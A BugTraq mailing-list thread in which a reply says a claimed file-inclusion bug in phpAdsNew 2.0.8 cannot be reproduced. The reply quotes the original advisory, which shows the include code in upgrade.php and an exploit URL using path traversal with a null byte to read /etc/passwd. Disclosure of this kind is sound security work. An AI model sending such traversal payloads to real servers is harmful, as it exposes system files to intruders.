BugTraq
phpAdsNew include bug! Oct 17 2006 06:02PM
wacky ihack pl (1 replies)
Re: phpAdsNew include bug! Oct 18 2006 01:49AM
Wim Godden (security firstlinknetworks com)
I can't reproduce this on any of our phpAdsNew 2.0.8 installations.
As it should, the login prompt is presented.

Kind regards,

Wim

At 20:02 17/10/2006, wacky (at) ihack (dot) pl [email concealed] wrote:

>#######################################
>Autors:
>- Michał `wacky` Błaszczak
>- Nobody
>
>http://iHACK.pl
>#######################################
>File: modules/phpads/admin/upgrade.php
>
>
>
>Code:
>
>// Load language strings
>if
>(file_exists("../language/".$phpAds_config['language']."/default.lang.p
hp"))
>include("../language/".$phpAds_config['language']."/default.lang.php");

>else
>{
>$phpAds_config['language'] = 'english';
>include("../language/english/default.lang.php");
>}
>
>
>
>Exploit:
>
>http://ihack.pl/phpAdsNew-2.0.8/admin/
>upgrade.php?phpAds_config[language]=../../../etc/passwd%00

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus